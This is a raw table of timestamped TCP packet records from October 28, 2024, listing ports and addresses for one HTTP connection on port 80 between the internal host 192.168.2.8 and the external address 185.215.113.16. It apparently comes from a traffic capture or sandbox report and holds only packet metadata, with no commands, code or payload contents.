Oct 28, 2024 07:18:44.096487999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096498966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096508980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096519947 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.096570969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.096570969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.097157001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.097167969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.097179890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.097223997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.097224951 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.136909962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.136940956 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.136953115 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.136962891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137016058 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.137264967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137276888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137285948 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137298107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137316942 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.137316942 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.137430906 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.137773037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137809992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.137868881 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.138010979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138022900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138034105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138046980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138082981 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.138113022 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.138549089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138565063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.138654947 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.214653969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214673996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214685917 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214796066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214881897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.214881897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.214904070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214915037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214925051 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214936018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214948893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.214956045 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.214996099 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.215715885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.215725899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.215785027 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.215868950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.215899944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.215910912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.215936899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.215960026 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.256187916 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256202936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256213903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256454945 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.256797075 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256808043 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256809950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256818056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256824970 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256831884 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256913900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256927013 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.256938934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.257021904 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.257021904 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.257021904 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.257540941 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.257560968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.257652998 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.297364950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.297420025 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.297472000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.297488928 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.297571898 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.297571898 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.333780050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333820105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333832026 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333867073 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.333893061 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333931923 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.333954096 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333973885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.333986998 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334022999 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.334398031 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334450006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334460974 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334471941 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334496975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.334496975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.334970951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334981918 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.334992886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.335040092 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.335040092 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.375341892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375395060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375406027 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375463009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.375490904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375554085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375608921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.375616074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.375674009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.375988007 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376032114 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376040936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376058102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376069069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376090050 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.376100063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376111984 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376123905 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.376149893 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.376149893 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.376203060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.416555882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.416577101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.416589022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.416662931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.452846050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452864885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452876091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452884912 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.452908993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452915907 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.452953100 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452965021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452976942 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452995062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.452996969 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.453025103 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.453639984 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.453686953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.453720093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.453753948 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.453764915 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.453855038 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.454188108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.454216003 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.454250097 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.494323969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494335890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494347095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494457960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494468927 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494501114 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.494501114 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.494530916 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.494687080 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494699001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494715929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.494765997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.495179892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495188951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495198965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495245934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.495245934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.495256901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495269060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495280981 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495304108 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.495307922 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495322943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.495357037 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.535742998 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.535793066 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.535801888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.586477995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864160061 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864181042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864191055 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864202023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864216089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864228964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864244938 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864250898 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864257097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864295006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864306927 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864317894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864330053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864341021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864351988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864353895 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864353895 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864363909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864376068 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864397049 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864397049 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864461899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864463091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864491940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864502907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864511967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864518881 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864522934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864542007 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864551067 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864552975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864562988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864568949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864574909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864581108 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864593983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864605904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864617109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864625931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864628077 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864660978 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864662886 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864672899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864686012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864697933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864710093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864720106 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864798069 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864833117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864845991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864855051 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864870071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864886045 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864896059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864909887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864917040 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864923000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864933968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864945889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864953995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864953995 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864958048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864970922 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864975929 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.864983082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.864994049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865006924 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865020037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865025997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.865025997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.865032911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865045071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865051031 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.865087986 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.865103006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.865107059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.865190029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.866110086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.866144896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.866161108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.866183043 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:44.866343975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.866343975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.866343975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:44.866343975 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117170095 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117185116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117202044 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117213011 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117229939 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117240906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117250919 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117264032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117275953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117295980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117314100 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117326021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117336988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117348909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117358923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117369890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117368937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117368937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117368937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117368937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117368937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117369890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117369890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117369890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117384911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117397070 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117397070 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117402077 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117407084 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117414951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117424965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117436886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117438078 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117438078 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117438078 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117449045 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117449045 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117461920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117471933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117484093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117495060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117527008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117532015 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117532015 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117537975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117553949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117566109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117568970 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117578030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117588997 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117600918 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117609978 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117609978 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117613077 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117625952 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117638111 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117651939 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117651939 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117707968 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117774010 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117777109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117810011 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117822886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117866039 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117872000 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117877960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117891073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.117923021 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.117973089 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.118714094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118742943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118755102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118840933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118854046 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118865013 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:45.118877888 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.118901968 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.118913889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:45.347739935 CET	80	49717	185.215.113.16	192.168.2.8
